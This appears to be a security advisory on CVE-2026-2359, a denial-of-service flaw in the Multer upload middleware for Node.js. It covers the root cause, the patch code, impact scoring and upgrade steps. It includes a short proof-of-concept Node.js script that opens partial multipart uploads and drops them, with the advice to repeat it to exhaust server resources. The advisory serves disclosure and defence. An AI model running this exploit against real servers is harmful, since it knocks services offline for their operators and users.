Mar 1, 2026·6 min read·2 visits
Multer < 2.1.0 fails to handle aborted HTTP requests, causing indefinite hangs and resource leaks. Attackers can exhaust server resources by initiating uploads and dropping connections.
A high-severity Denial of Service (DoS) vulnerability exists in Multer versions prior to 2.1.0, a popular Node.js middleware for handling `multipart/form-data`. The flaw stems from improper handling of HTTP request termination events (`aborted` and `close`) during file uploads. When a client initiates a multipart upload and subsequently terminates the connection before completion, Multer fails to clean up internal resources or stop the parsing stream. This leads to the indefinite hanging of the request handler and the leakage of file descriptors, memory buffers, and socket connections, eventually resulting in server resource exhaustion.
Multer is the de facto standard middleware for handling multipart/form-data in Express and Node.js applications, primarily used for file uploads. It operates by streaming incoming request data through a parser (Busboy) and directing file streams to configured storage engines (such as DiskStorage or MemoryStorage).
The vulnerability, tracked as CVE-2026-2359, is a resource management error triggered when an HTTP request is terminated prematurely by the client. In a standard HTTP lifecycle, if a client disconnects abruptly (e.g., closing the tab or a network interruption), the server's request object emits specific termination events. Vulnerable versions of Multer fail to listen for these events during the file processing phase.
Consequently, if a client opens a connection, begins a large file upload, and then immediately drops the TCP connection, Multer's internal state machine remains waiting for the rest of the data. The middleware never calls the next() function to pass control back to the application, nor does it trigger an error handler. This results in a "zombie" request that occupies memory and file descriptors until the server process terminates or hits a hard system limit.
The root cause lies in the implementation of lib/make-middleware.js. In Node.js, the IncomingMessage object (representing the HTTP request) emits aborted or close events when the underlying socket is destroyed or the request is terminated before the response is sent. A robust middleware must listen for these events to perform cleanup.
In affected versions, Multer initialized the Busboy parser and piped the request stream into it but only attached listeners for the parser's completion (finish) or parsing errors (error). It did not attach listeners to the request object itself for connection termination.
When a client sends a Content-Length header indicating a large body but closes the socket after sending only a partial payload:
data events.aborted event is fired on the request object.aborted, it continues waiting for Busboy to finish parsing.finish.This creates a deadlock state where the resources associated with that specific request are never released.
The remediation involves attaching specific event listeners to the request object to detect premature termination and trigger a cleanup routine. The fix was implemented in version 2.1.0.
Below is the critical logic added to lib/make-middleware.js. The developers introduced a handleRequestFailure function that serves as a centralized cleanup mechanism.
// PATCH IMPLEMENTATION IN v2.1.0
// 1. Centralized cleanup handler
function handleRequestFailure (err) {
if (isDone) return
isDone = true
// Destroy the parser immediately to stop stream processing
if (busboy) busboy.destroy(err)
// Trigger the standard error handling path to clean up storage
abortWithError(err)
}
// 2. Event Listeners attached to the request (req)
req.on('error', function (err) {
handleRequestFailure(err || new Error('Request error'))
})
// 3. Listener for client-side aborts
req.on('aborted', function () {
handleRequestFailure(new Error('Request aborted'))
})
// 4. Listener for socket closure
req.on('close', function () {
// If the request finished naturally (readableEnded), ignore the close event
if (req.readableEnded) return
// Otherwise, treat it as a failure
handleRequestFailure(new Error('Request closed'))
})Analysis of the Fix:
The code now explicitly distinguishes between a natural stream completion and an unexpected closure. By listening to close and aborted, Multer ensures that if the physical connection dies, the logical application state is reset immediately, releasing file handles and memory buffers.
This vulnerability is trivially exploitable by an unauthenticated remote attacker. The attack does not require knowledge of internal application logic, only that an endpoint exists which utilizes Multer for file uploads.
Attack Prerequisite:
multipart/form-data (e.g., /profile/upload).Attack Vector:
Content-Length (e.g., 100MB) and a valid multipart boundary.Result: The Node.js event loop keeps the context for this request active. If the attacker repeats this process rapidly (e.g., 1,000 times), they can exhaust the server's maximum open file descriptors (usually ulimit -n) or consume available RAM, causing the application to crash or become unresponsive to legitimate traffic.
// Conceptual Exploit Snippet (Node.js)
const net = require('net');
const client = new net.Socket();
client.connect(3000, 'target-server', () => {
client.write('POST /upload HTTP/1.1\r\n' +
'Content-Length: 9999999\r\n' +
'Content-Type: multipart/form-data; boundary=boundary\r\n\r\n');
client.write('--boundary\r\nContent-Disposition: form-data; name="file"\r\n\r\n');
// Send partial data then kill connection
setTimeout(() => {
client.destroy();
}, 100);
});The primary impact of CVE-2026-2359 is Denial of Service (DoS) via resource exhaustion. While there is no impact on data confidentiality or integrity, availability is severely compromised.
Resource Leakage Breakdown:
DiskStorage, Multer creates a temporary file for the incoming upload. If the request hangs, this file handle remains open. Repeated attacks will hit the OS limit for open files (EMFILE error), preventing the server from accepting new connections or opening files.MemoryStorage or internal stream buffering are not garbage collected because the request object remains referenced./tmp or similar) if the cleanup routine is never triggered, potentially filling the disk.Severity Scoring:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H indicates network availability, low complexity, and high availability impact.The only complete remediation is to upgrade the vulnerable library. No code changes are required in the application logic itself, assuming standard Multer usage.
Patching: Run the following command to upgrade Multer to the patched version:
npm install multer@^2.1.0Verify the installed version using npm list multer to ensure no transitive dependencies are holding onto an older version.
Defense-in-Depth:
proxy_read_timeout (Nginx) is set appropriately to cut off slow connections, though this may not fully resolve the internal Node.js resource leak if the application logic ignores the disconnect.ulimit settings for the user running the Node.js process. While increasing limits may delay the crash, it does not solve the leak.requestTimeout configured (available in Node.js v14.11.0+).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
multer expressjs | < 2.1.0 | 2.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-772 |
| Attack Vector | Network |
| CVSS Score | 8.7 (High) |
| EPSS Score | 0.00042 |
| Exploit Status | Proof of Concept Available |
| Impact | Denial of Service |
The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.